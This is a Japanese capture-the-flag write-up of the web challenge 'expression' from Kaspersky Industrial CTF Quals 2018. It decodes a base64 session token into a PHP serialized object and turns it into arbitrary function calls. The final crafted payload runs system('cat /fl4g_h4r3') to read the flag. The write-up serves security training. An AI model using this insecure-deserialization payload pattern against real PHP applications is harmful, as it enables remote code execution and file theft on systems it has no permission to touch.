Kaspersky Industrial CTF Quals 2018 Writeup

2018/11/23 23:00 (JST) ~ 2018/11/24 23:00 (JST)に開催されたKaspersky Industrial CTFの予選を1問だけ解いた(1問だけしか解けなかったともいう)のでWriteupを置いておく。

expression (web)

問題文

http://expression.2018.ctf.kaspersky.com/

解き方

指定されたURLにアクセスすると次のようなページが表示される。

f:id:iso0:20181124234343p:plain

適当な数字を入れてSUBMITを押下すると計算結果とBase64 Encodeされてそうな文字列が表示される。

f:id:iso0:20181124234440p:plainf:id:iso0:20181124234512p:plain

Share itは次のURLへのリンクになっており、このURLにアクセスすると同じ計算結果が表示される。tokenには結果表示画面のTokenと同じ値が入っており、これがセッションを保持するキーもしくはセッションのデータそのものであると推測できる。

http://expression.2018.ctf.kaspersky.com/?action=load&token=TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6Mzoic3VtIjtzOjE4OiIARXhwcmVzc2lvbgBwYXJhbXMiO2E6Mjp7aTowO2Q6MTtpOjE7ZDoyO31zOjk6InN0cmluZ2lmeSI7czo1OiIxICsgMiI7fQ==

ちなみにわざとエラーを発生させるような計算をすると、エラーメッセージが表示され、このWebアプリがPHPで書かれていることとPHPファイルの場所が判明する。

f:id:iso0:20181124234610p:plainf:id:iso0:20181124234635p:plain

tokenBase64 Decodeすると次のような結果となる。これはPHPserializeでオブジェクトをシリアル化した結果に見える。(ちなみに、この表現形式の詳しいことはserializeのマニュアルのコメント*1に書かれているが、問題自体はこれを読まずとも雰囲気で解ける。)

input = 'TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6Mzoic3VtIjtzOjE4OiIARXhwcmVzc2lvbgBwYXJhbXMiO2E6Mjp7aTowO2Q6MTtpOjE7ZDoyO31zOjk6InN0cmluZ2lmeSI7czo1OiIxICsgMiI7fQ=='
>>> base64.b64decode(input)
b'O:10:"Expression":3:{s:14:"\x00Expression\x00op";s:3:"sum";s:18:"\x00Expression\x00params";a:2:{i:0;d:1;i:1;d:2;}s:9:"stringify";s:5:"1 + 2";}'

ここで、sumが入っていた場所にaaaとして/?action=load&token=<変更後のtoken>で読み込ませると次のエラーメッセージが表示される。

f:id:iso0:20181125001856p:plain

エラーメッセージからaaaという存在しない関数を呼ぼうとしてエラーになっていることがわかり、sumつまり、Expression->opを変更することで任意のPHPの関数を呼び出せるということがわかる。さらにいろいろいじると、Expression->paramsが引数として利用されることもわかる。これで任意の関数を任意の引数で呼び出せるようになり、あとはFlagのありかを探すだけとなる。

tokenを書き換えて環境変数を見てみたりDocument Rootをlsしてみたりしたが、最終的には/fl4g_h4r3にFlagが書き込まれていることがわかった。あとは次のように、system("cat /fl4g_h4r3")を実行するようにtokenを書き換えればFlagを入手できる。

b'O:10:"Expression":3:{s:14:"\x00Expression\x00op";s:6:"system";s:18:"\x00Expression\x00params";s:14:"cat /fl4g_h4r3";s:9:"stringify";s:6:"21 / 0";}'
KLCTF{f9f091be0ddb1703deb7004798f44709}